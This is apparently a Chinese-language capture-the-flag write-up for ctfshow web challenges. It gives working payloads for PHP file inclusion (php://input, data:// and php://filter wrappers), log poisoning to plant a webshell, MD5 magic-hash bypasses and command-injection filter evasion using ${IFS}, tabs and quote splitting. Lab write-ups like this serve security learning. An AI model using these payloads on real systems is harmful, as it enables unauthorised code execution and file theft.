ctf-web
ctfshow web模块wp
web3

我们看到题目可以知道这是一道文件包含题目,那么我们直接拿php://input协议

然后将我们post的php代码换成
1 | <?php system('cat ctf_go_go_go');?> |
得到flag
web4
查看提示是文件包含中的日志包含
我们先百度nginx的日志文件目录为
/var/log/nginx/access.log
我们利用题中的文件包含访问日志文件

我们看到这个日志文件是会把我们的浏览器信息也记录也就是user-agent信息我们就把一句话木马写到这个里面

我们打开蚁剑连接

web5
我们打开题目后看到三个检测第一个ctype_alpha函数检查是否为字符串 is_numeric检测是否为数字最后一个MD5值相同

在MD5里面只要是0e开头的都会被认为是0那么我们找到一个字符MD5是0e开头的和一个数字的就行了
这里附上一些0e开头的MD5值
1 | QNKCDZO |
ctf命令执行
web32,。
打开题目看到

看到这里的过滤字符比较多我们直接拿include或者require去写一个get请求然后利用文件包含把他读出来
?c=include$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php
这里我们是使用了?>来代替;,这样就可以
web33
题目中的过滤比上一个多了一个冒号
对于我们的的语句没有影响
web34
多过滤了个“
同上
web35
多过滤了个<和=所以还是没有影响
web36

1 | ?c=data://text/plain,<?php system('cat f*'); ?> |
这里就是一个文件包含我们直接将伪协议内容写入就好这里用的是data伪协议
web38
1 | <?php system('cat fla*'); ?> |
web39

我们看到这次的题目过滤的并不多和前几题的·差别就是include里面的变量c后面加了.php那就和我们36提的payload里面一样就是在最后加上注释付把.php过滤掉
1 | ?c=data://text/plain,<?php system('cat f*'); ?>// |
web40
这道题我们看到题目里过滤了很多东西剩下的有字母 、_ 、() 和 ;

这道题看了师傅的博客,感觉非常不可思议
1 | get_defined_vars() 返回一个包含所有已定义变量列表的多维数组,这些变量包括环境变量、服务器变量和用户定义的变量。 |
我们利用get_defined_vars()读出了已存在的变量数组并且post传入cmd=system(“ls”);我们发现cmd=system(“ls”)在数组第二位我们利用next拿到这个数组元素,然后利用array_pop将值取出,再利用eval函数执行。

这道题还有其他解法这里给个师傅的博客地址
https://blog.csdn.net/Kracxi/article/details/121041140
web 41
web 42

这道题执行的c的结果输入到/dev/null中shell中打开3中文件描述符,1代表标准输出,2代表错误输出,3代表标准输入这里是将错误输出绑定到标准输出中,然后就会统一输出到/dev/null中导致我们没法看见结果这里利用;绕过

web 43

这里比上一题就是多了;和cat过滤我们利用||绕过

web 44
这题利用上一题的方法也可以做

这里也可以用
1 | nl fla*.php%0a |
执行后查看源代码就好
web 45

这里将空格也过滤了,我们利用${IFS}来代替空格

1 | /?c=ls${IFS}|| |
成功绕过
web 46

这里将$符号给过滤了,我们这里利用%09(tap)绕过

1 | ?c=tac%09fla?.php|| |
web 47

这里比上一题多过滤的只是读取命令用上一题的还是解的了
web 48

我们看到这里还是没有过滤tac那么直接搞就好
1 | ?c=tac%09fla?.php|| |
web49

同上
web50
1 | ?c=tac<fla''g.php|| |

通配符*,?与<,>同时使用无回显这里将flag用‘拆开完成绕过
web 51
1 | ?c=nl<fla''g.php|| |
这里将tac过滤了我们利用nl命令代替
1 | nl 命令读取 File 参数(缺省情况下标准输入),计算输入中的行号,将计算过的行号写入标准输出。 在输出中,nl 命令根据您在命令行中指定的标志来计算左边的行。 输入文本必须写在逻辑页中。每个逻辑页有头、主体和页脚节(可以有空节)。 除非使用 -p 标志,nl 命令在每个逻辑页开始的地方重新设置行号。 可以单独为头、主体和页脚节设置行计算标志(例如,头和页脚行可以被计算然而文本行不能)。 |

web 52

这里看到$这次没有被过滤。然后我们把利用$IFS代替空格直接读取flag.php没有结果,我们ls查看根目录发现有个flag文件利用payload将该文件读取
1 | ?c=nl$IFS/fl''ag|| |
web 53

这里和之前的变化不大就是会把结果转到变量输出
1 | ?c=t''ac${IFS}fla''g.php |